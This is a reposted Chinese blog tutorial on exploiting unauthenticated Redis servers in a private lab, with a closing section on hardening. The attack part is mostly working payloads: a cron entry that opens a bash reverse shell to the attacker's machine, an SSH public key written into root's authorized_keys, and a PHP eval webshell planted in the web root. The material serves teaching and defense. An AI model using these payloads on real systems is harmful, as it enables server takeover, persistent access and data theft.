本文转自行云博客https://www.xy586.top/

文章目录

  • 未授权访问
    • 前提知识
      • ssh免密登录
        • 客户端
        • 服务端
      • 安装Redis数据库
      • Redis语法
    • 原理
    • 攻击复现
      • 利用计划任务执行命令反弹shell
      • 写ssh-keygen公钥然后使用私钥登陆
      • 往web物理路径写webshell
    • 防御方法

未授权访问

前提知识

ssh免密登录

客户端

进入.ssh文件cd .ssh/

生成公私钥ssh-keygen -t rsa

上传公钥到服务端 ssh-copy-id user@ip

更改.ssh目录跟私钥的权限

chmod 700 .ssh/

chmod 600 .ssh/id_rsa

服务端

进入.ssh/文件,查看authorized_keys文件是否与客户端的id_rsa.pub文件一致

更改authorized_keys文件权限

chmod 600 .ssh/authorized_keys

安装Redis数据库

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

centos7.x安装redis数据库

yum install -y gcc wgetwget http://download.redis.io/releases/redis-3.2.0.tar.gz #安装tar xzf redis-3.2.0.tar.gz   #解压cd redis-3.2.0   #进入目录make   #编译cd src && cp redis-server /usr/bin && cp redis-cli /usr/bin #将命令移动到用户命令下cp redis-conf /etc/  #将改配置文件移动到/etc目录下vim /etc/redis-conf    #修改配合文件,使其可以远程访问
bind 127.0.0.1前面加上#号
protected-mode设为noredis-server redis-conf   #启动redis服务默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件

Redis语法

连接redis:
redis-cli -h 192.168.232.133
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.232.133:6379>info
将变量x的值设为test:
192.168.232.133:6379>set x "test"
是把整个redis数据库删除,一般情况下不要用!!!
192.168.232.133:6379>flushall
查看所有键:
192.168.232.133:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.232.133:6379>CONFIG GET dir
192.168.232.133:6379>CONFIG GET dbfilenameconfig set 动态调整Redis服务器的配置

原理

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。  目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。

攻击复现

靶机(centos):192.168.232.133

攻击机(kali):192.168.232.131

利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先攻击机上监听2333端口

nc -lvvp 2333

然后再开一个攻击机的会话,连接redis执行payload

config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.232.131/2333 0>&1\n"
save

此方法获取的shell似乎缺少了很多东西

写ssh-keygen公钥然后使用私钥登陆

利用条件

redis对外开放,且是未授权访问状态

redis服务ssh对外开放,可以通过密钥登入

ssh-keygen -t rsa #创建密钥
cat .ssh/id_rsa.pub#输出密钥文件

kali连接Redis服务器并将密钥发送到靶机

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqj2vwiHfdeMp64uHUFoJ0xhnblfS4s+CbrkCgkQ3nCiTOYL6Y62W7ipuObngJO3lP6GnSacF/NDxBDKEAzLYjFhN7S4fs/sJKqZNP9feIdGSRCpgpAj072IUxqmBIWu4Yz6inzhbmStLFxIJ4oO3/3/20qnRMIlmZRzOeHKcWbd99pM+99k15p9ONDHmpFKBZILtumzJODbq32UyWkrfN7L6n/OuxB5IHv82eIJ0ZATxEJIK5QAjww3qGndMOmj8oMxPh5DXndtrEmLYeJslv9xioAdzvjzsqybaMnwSUlDJOuEuu8vf8Ad9vsaypNDlMvTlO73xCxTJvCcOA/dFCo1wobURjOIv+YjKjaGqezNWtRs0YbqV4cjCSlaEaUdtso+wAa2VnqyNueFvFWHnhXr8TnItkOR0300oaJlFVvCDISuYepr1EQMgoskkBURcQnKJBrTjOkJdijLwoIk0DJN0SXCI+4Y1yfdJ3FfRY8do0Q4cVDRVS+GGqwsjK0UU= root@kali\n\n\n"
save

往web物理路径写webshell

利用条件

目标机关闭了只能本机访问

目标机开启了web服务,知道web的路径以及具有写权限

config set dir /var/www/html
config set dbfilename webshell.php
set x "<?php @eval($_POST['cmd'])?>"
save

访问http://192.168.232.133/webshell.php,有回显,此时用蚁剑连接

查看靶机的网站目录也发现了该木马文件

防御方法

到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放

bind 127.0.0.1

2、添加登陆密码

修改 redis.conf 文件,添加 requirepass mypasswd

3、在需要对外开放的时候修改默认端口(端口不重复就可以)

port 2344

4、以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

5、最后还可以配合iptables限制开放

未授权访问漏洞原理及复现相关推荐

  1. JBoss未授权访问漏洞Getshell过程复现

    文章目录 前言 漏洞复现 漏洞描述 靶场搭建 漏洞利用 防御手段 Jexboss脚本 前言 在 2021 年第五届强网杯全国网络安全挑战赛的 EasyWeb 赛题中遇到了 JBoss 未授权访问漏洞 ...

  2. redis未授权访问漏洞环境搭建复现-ssh免密登录

    首先,安装redis 我是直接sudo apt-get redis 安装的 然后启动redis 直接找到/usr/bin目录下的redis-server和redis-cli 测试连接成功 因为我是腾讯 ...

  3. Redis未授权访问漏洞详细版

    Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  4. 漏洞检测与防御:Redis未授权访问漏洞复现

    漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...

  5. Redis未授权访问漏洞复现

    Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...

  6. Druid未授权访问 漏洞复现

    为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 漏洞描述 02 利用方式 03 修复方案 01 漏洞描述 Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池.Druid提供的监控 ...

  7. 漏洞复现 - - - 未授权访问漏洞Redis

    目录 一,未授权访问漏洞概述 二,常见的未授权访问漏洞 Redis历史漏洞 三,Redis未授权访问 漏洞信息 Redis 简介 四,环境搭建 漏洞环境搭建 五,漏洞利用方法 实验环境 方法一 ​编辑 ...

  8. PHP-FPM Fastcgi 未授权访问漏洞(端口9000)

    漏洞原理 Fastcgi Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道.HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组 ...

  9. 常见未授权访问漏洞详解

    参考文章1:二十八种未授权访问漏洞合集(CSDN) 参考文章2:28种未授权访问漏洞(知乎) 参考文章3:未授权访问漏洞总结(freebuf) 参考文章4:常见未授权访问漏洞总结(先知社区) 文章目录 ...

最新文章

  1. [转]一张图理解prototype、proto和constructor的三角关系
  2. hadoop common 与 servlet 3冲突
  3. gpu处理信号_GPU中的并行运算,加速你的Matlab程序
  4. apache启用gzip压缩方法
  5. 设计模式之禅之设计模式-组合模式
  6. PHP高级教程-高级过滤器
  7. 安装了opencv,怎么一直报错:找不到CAP_PROP_FRAME_COUNT
  8. 它!5 年代替狂卷的 CNN!
  9. 数据结构算法书籍推荐
  10. R语言聚类分析可视化
  11. medusa--暴力破解
  12. 释放数据价值的真正法宝,数据要素市场化开发迫在眉睫
  13. 阿里IOT用AMQP在服务端订阅消息,踩坑
  14. 印象笔记 Markdown使用指南
  15. 微信图片怎样在pc 端打开查看并导出
  16. 解决无法使用IMAP将Gmail帐户添加到Outlook的问题
  17. android asyc异步获取网络图片为bitmap,异步之AsyncTask(一)
  18. Elasticsearch和solr之我为什么选择solr
  19. 阿里云物联网平台场景体验-阿里云开发者社区
  20. 网上跳蚤市场网站系统HTML5+Vue+nodejs

热门文章

  1. Pfam数据库转移至InterPro数据库导致HMMER模型下载不能用
  2. ubuntu18.04安装与更新NVIDIA驱动
  3. python编码问题无法复现_彻底解决Python编码问题
  4. 运维工程师应该具备的技能(转载)
  5. matlab倒谱法基音周期,语音学习笔记1------matlab实现自相关函数法基音周期提取...
  6. 使用python进行基音周期的计算
  7. Applied Cryptography:chapter 11 数学背景
  8. java导出excel带上进度条_导出数据至Excel前台js进度条不能隐藏
  9. php msvcr110,msvcr110.dll丢失的解决方法是什么
  10. 快看这里,豆瓣9.0的Python爬虫宝藏书籍,自学爬虫必备~